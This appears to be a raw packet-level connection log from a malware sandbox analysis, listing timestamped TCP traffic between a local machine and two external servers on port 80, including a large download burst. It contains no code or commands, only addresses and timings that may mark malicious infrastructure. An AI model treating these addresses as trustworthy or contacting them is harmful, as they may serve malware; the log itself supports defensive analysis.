Dec 19, 2024 03:09:16.904356003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.904414892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.904485941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.904536009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.905354023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.905421019 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.905456066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.905503988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.906299114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.906346083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.906420946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.906466961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.907288074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.907351971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.907424927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.907468081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.908257961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.908308983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.908354998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.908401012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.909260035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.909312010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.909353971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.909404993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.910238028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.910285950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.910351992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.910399914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.911211967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.911268950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.911319017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.911367893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.912236929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.912301064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.912355900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.912405014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.913239002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.913296938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.913330078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.913376093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.914194107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.914244890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.914279938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.914335012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.915152073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.915204048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.915251017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.915296078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.916130066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.916177034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.916265965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.916357994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.917154074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.917207003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.917275906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.917323112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.918088913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.918148994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.918173075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.918219090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.919066906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.919114113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.919161081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.919209003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.920056105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.920108080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.920114040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.920156956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.921017885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.921066999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.921104908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.921149969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.921957970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.922010899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.922101021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.922149897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.922956944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.923002958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.923039913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.923085928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.923965931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.924026966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.924062967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.924108982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.924925089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.924984932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.065890074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.065968990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.066015959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.066071987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.066312075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.066359997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.066528082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.066584110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.067353964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.067408085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.067440987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.067491055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.068284988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.068336964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.068411112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.068456888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.069266081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.069363117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.069372892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.069423914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.070264101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.070324898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.070341110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.070394039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.071232080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.071284056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.071346045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.071413994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.072211981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.072268009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.072340012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.072392941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.073224068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.073276997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.073322058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.073374033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.074203968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.074266911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.074335098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.074384928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.075155020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.075206041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.075248957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.075300932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.076148033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.076201916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.076251030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.076302052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.077100992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.077152967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.077264071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.077315092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.078098059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.078150988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.078202963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.078254938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.079056978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.079114914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.079149961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.079204082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.080030918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.080086946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.080147982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.080216885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.081011057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.081067085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.081137896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.081237078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.081994057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.082046032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.082099915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.082149029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.083007097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.083059072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.083112001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.083167076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.083969116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.084022999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.084067106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.084120035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.084932089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.084988117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.085062027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.085114002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.085936069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.085994959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.086040020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.086091995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.086900949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.086954117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.087018967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.087070942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.087896109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.087949038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.088026047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.088078976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.088891983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.088958025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.089004040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.089056969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.089854002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.089909077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:17.090039968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:17.090094090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:19.457009077 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:19.457251072 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:19.578526974 CET	80	49860	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:19.578547001 CET	80	49829	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:19.578602076 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:19.578632116 CET	49829	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:19.579125881 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:19.701303005 CET	80	49860	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:20.916830063 CET	80	49860	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:20.917021990 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:20.919801950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:20.920245886 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:21.091448069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:21.091470957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:21.091516972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:21.091574907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:21.091773033 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:21.211955070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.416805983 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.416831970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.416852951 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.416906118 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.416976929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.416985035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417027950 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417047024 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417061090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417064905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417088985 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417088985 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417109966 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417720079 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417753935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417789936 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.417805910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417805910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.417845964 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.537256002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.537334919 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.537352085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.537439108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.543129921 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.543248892 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.543252945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.543343067 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.609802008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.609877110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.609899044 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.609966993 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.613800049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.613863945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.613961935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.614017963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.621571064 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.621588945 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.621634007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.621692896 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.630985975 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.631021976 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.631097078 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.638461113 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.638520002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.638528109 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.638576984 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.647047043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.647083998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.647119999 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.647155046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.655390024 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.655457020 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.655488014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.655539989 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.663892031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.663968086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.664041996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.664098978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.672291040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.672375917 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.672508001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.672565937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.683562994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.683638096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.683639050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.683712959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.689136982 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.689249039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.689343929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.696377039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.696459055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.696553946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.696604967 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.802232981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.802319050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.802342892 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.802400112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.804480076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.804546118 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.804600000 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.804637909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.808787107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.808865070 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.808948040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.808991909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.813340902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.813393116 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.813513994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.813558102 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.817797899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.817851067 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.817996979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.818034887 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.822419882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.822437048 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.822495937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.827068090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.827121019 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.827127934 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.827167988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.830399036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.830435038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.830465078 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.830492973 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.835865021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.835920095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.836008072 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.836061001 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.840449095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.840512037 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.840632915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.840728045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.844798088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.844870090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.844923973 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.844979048 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.849360943 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.849420071 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.849512100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.849572897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.853810072 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.853864908 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.853950024 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.853996992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.858383894 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.858419895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.858438015 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.858463049 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.862838984 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.862916946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:22.863004923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:22.863059998 CET	49862	80	192.168.2.5	31.41.244.11
